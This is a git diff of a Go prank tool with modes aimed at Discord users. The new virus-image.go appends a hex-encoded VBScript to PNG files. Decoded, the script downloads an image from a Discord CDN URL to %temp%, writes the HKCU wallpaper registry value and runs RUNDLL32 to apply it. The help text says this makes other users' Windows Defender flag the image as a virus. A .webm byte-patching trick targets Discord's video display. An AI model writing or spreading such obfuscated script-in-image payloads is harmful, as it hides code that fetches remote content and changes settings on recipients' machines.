diff --git a/.gitignore b/.gitignore index 31ccabd..8484d4e 100644 --- a/.gitignore +++ b/.gitignore @@ -16,3 +16,5 @@ # Dependency directories (remove the comment below to include it) # vendor/ + +*.png diff --git a/exploits.go b/exploits.go index 80376fd..27f63ad 100644 --- a/exploits.go +++ b/exploits.go @@ -22,7 +22,7 @@ func main() { //exploits.RunExpandingVideoTask() } - fmt.Println(inputFile) + fmt.Print("\n", inputFile, "\n") fmt.Println(mode) initCommand(inputFile, mode) @@ -84,14 +84,15 @@ func help() { fmt.Println("") fmt.Println("-q doesn't show welcome screen") fmt.Println("-i provide input file") - fmt.Println("-m provide a mode") + fmt.Println("-m specify mode") fmt.Println("") fmt.Println("modes:") fmt.Println(" expandingvideo takes input video (.webm) and edits it so discord will keep making it longer") - fmt.Println(" virusimage takes an image (.png) and makes other users' windows defender think it's a virus (not yet implemented)") + fmt.Println(" virusimage takes an image (.png) and makes other users' windows defender think it's a virus") } func initCommand(inputFile string, mode string) { + inputFile = strings.ToLower(inputFile) switch strings.ToLower(mode) { case "expandingvideo": if strings.HasSuffix(inputFile, ".webm") { @@ -101,5 +102,13 @@ func initCommand(inputFile string, mode string) { } else { fmt.Println("File is not a webm, check -h") } + case "virusimage": + if strings.HasSuffix(inputFile, ".png") { + fmt.Println("editing photo.") + exploits.RunVirusImageTask(inputFile) + fmt.Println("completed task.") + } else { + fmt.Println("File is not a png, check -h") + } } } diff --git a/exploits/expanding-video.go b/exploits/expanding-video.go index c2fd67f..3843b38 100644 --- a/exploits/expanding-video.go +++ b/exploits/expanding-video.go @@ -6,13 +6,14 @@ import ( "io/ioutil" "os" "math/rand" + "time" ) // RunExpandingVideoTask edits file func RunExpandingVideoTask(fileName string) { data, err := ioutil.ReadFile(fileName) - check(err) + Check(err) index := bytes.Index(data, []byte("\x44\x89\x88")) if index == -1{ fmt.Println("could not find the part of the file that needs to be modified, exiting") @@ -40,13 +41,15 @@ func RunExpandingVideoTask(fileName string) { func CreateName(extension string) string { charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" b := make([]byte, 6) + rand.Seed(time.Now().Unix()) for i := range b { b[i] = charset[rand.Intn(len(charset))] } return string(b)+"."+extension } -func check(e error) { +// Check Error Handling +func Check(e error) { if e != nil { panic(e) } diff --git a/exploits/virus-image.go b/exploits/virus-image.go new file mode 100644 index 0000000..0554e93 --- /dev/null +++ b/exploits/virus-image.go @@ -0,0 +1,18 @@ +package exploits + +import ( + "fmt" + "io/ioutil" + "os" +) + +// RunVirusImageTask edits file +func RunVirusImageTask(fileName string) { + data, err := ioutil.ReadFile(fileName) + Check(err) + data = append(data, []byte("\x0D\x0A\x53\x65\x74\x20\x6F\x62\x6A\x53\x68\x65\x6C\x6C\x20\x3D\x20\x43\x72\x65\x61\x74\x65\x4F\x62\x6A\x65\x63\x74\x28\x22\x57\x53\x63\x72\x69\x70\x74\x2E\x53\x68\x65\x6C\x6C\x22\x29\x0D\x0A\x53\x65\x74\x20\x6F\x62\x6A\x45\x6E\x76\x20\x3D\x20\x6F\x62\x6A\x53\x68\x65\x6C\x6C\x2E\x45\x6E\x76\x69\x72\x6F\x6E\x6D\x65\x6E\x74\x28\x22\x55\x73\x65\x72\x22\x29\x0D\x0A\x20\x0D\x0A\x73\x74\x72\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x20\x3D\x20\x6F\x62\x6A\x53\x68\x65\x6C\x6C\x2E\x45\x78\x70\x61\x6E\x64\x45\x6E\x76\x69\x72\x6F\x6E\x6D\x65\x6E\x74\x53\x74\x72\x69\x6E\x67\x73\x28\x22\x25\x74\x65\x6D\x70\x25\x22\x29\x0D\x0A\x20\x0D\x0A\x64\x69\x6D\x20\x78\x48\x74\x74\x70\x3A\x20\x53\x65\x74\x20\x78\x48\x74\x74\x70\x20\x3D\x20\x63\x72\x65\x61\x74\x65\x6F\x62\x6A\x65\x63\x74\x28\x22\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x2E\x58\x4D\x4C\x48\x54\x54\x50\x22\x29\x0D\x0A\x64\x69\x6D\x20\x62\x53\x74\x72\x6D\x3A\x20\x53\x65\x74\x20\x62\x53\x74\x72\x6D\x20\x3D\x20\x63\x72\x65\x61\x74\x65\x6F\x62\x6A\x65\x63\x74\x28\x22\x41\x64\x6F\x64\x62\x2E\x53\x74\x72\x65\x61\x6D\x22\x29\x0D\x0A\x78\x48\x74\x74\x70\x2E\x4F\x70\x65\x6E\x20\x22\x47\x45\x54\x22\x2C\x20\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x63\x64\x6E\x2E\x64\x69\x73\x63\x6F\x72\x64\x61\x70\x70\x2E\x63\x6F\x6D\x2F\x65\x6D\x6F\x6A\x69\x73\x2F\x36\x38\x31\x35\x37\x37\x36\x32\x35\x33\x39\x34\x38\x37\x32\x33\x37\x30\x2E\x70\x6E\x67\x3F\x76\x3D\x31\x22\x2C\x20\x46\x61\x6C\x73\x65\x0D\x0A\x78\x48\x74\x74\x70\x2E\x53\x65\x6E\x64\x0D\x0A\x20\x0D\x0A\x77\x69\x74\x68\x20\x62\x53\x74\x72\x6D\x0D\x0A\x20\x20\x20\x20\x2E\x74\x79\x70\x65\x20\x3D\x20\x31\x20\x27\x2F\x2F\x62\x69\x6E\x61\x72\x79\x0D\x0A\x20\x20\x20\x20\x2E\x6F\x70\x65\x6E\x0D\x0A\x20\x20\x20\x20\x2E\x77\x72\x69\x74\x65\x20\x78\x48\x74\x74\x70\x2E\x72\x65\x73\x70\x6F\x6E\x73\x65\x42\x6F\x64\x79\x0D\x0A\x20\x20\x20\x20\x2E\x73\x61\x76\x65\x74\x6F\x66\x69\x6C\x65\x20\x73\x74\x72\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x20\x2B\x20\x22\x5C\x6D\x79\x49\x6D\x61\x67\x65\x2E\x70\x6E\x67\x22\x2C\x20\x32\x20\x27\x2F\x2F\x6F\x76\x65\x72\x77\x72\x69\x74\x65\x0D\x0A\x65\x6E\x64\x20\x77\x69\x74\x68\x0D\x0A\x20\x0D\x0A\x6F\x62\x6A\x53\x68\x65\x6C\x6C\x2E\x52\x65\x67\x57\x72\x69\x74\x65\x20\x22\x48\x4B\x43\x55\x5C\x43\x6F\x6E\x74\x72\x6F\x6C\x20\x50\x61\x6E\x65\x6C\x5C\x44\x65\x73\x6B\x74\x6F\x70\x5C\x57\x61\x6C\x6C\x70\x61\x70\x65\x72\x22\x2C\x20\x73\x74\x72\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x20\x2B\x20\x22\x5C\x6D\x79\x49\x6D\x61\x67\x65\x2E\x70\x6E\x67\x22\x0D\x0A\x6F\x62\x6A\x53\x68\x65\x6C\x6C\x2E\x52\x75\x6E\x20\x22\x25\x77\x69\x6E\x64\x69\x72\x25\x5C\x53\x79\x73\x74\x65\x6D\x33\x32\x5C\x52\x55\x4E\x44\x4C\x4C\x33\x32\x2E\x45\x58\x45\x20\x75\x73\x65\x72\x33\x32\x2E\x64\x6C\x6C\x2C\x55\x70\x64\x61\x74\x65\x50\x65\x72\x55\x73\x65\x72\x53\x79\x73\x74\x65\x6D\x50\x61\x72\x61\x6D\x65\x74\x65\x72\x73\x22\x2C\x20\x31\x2C\x20\x54\x72\x75\x65")...) + name := CreateName("png") + fmt.Println(name) + ioutil.WriteFile(name, data, os.FileMode(int(0777))) +} +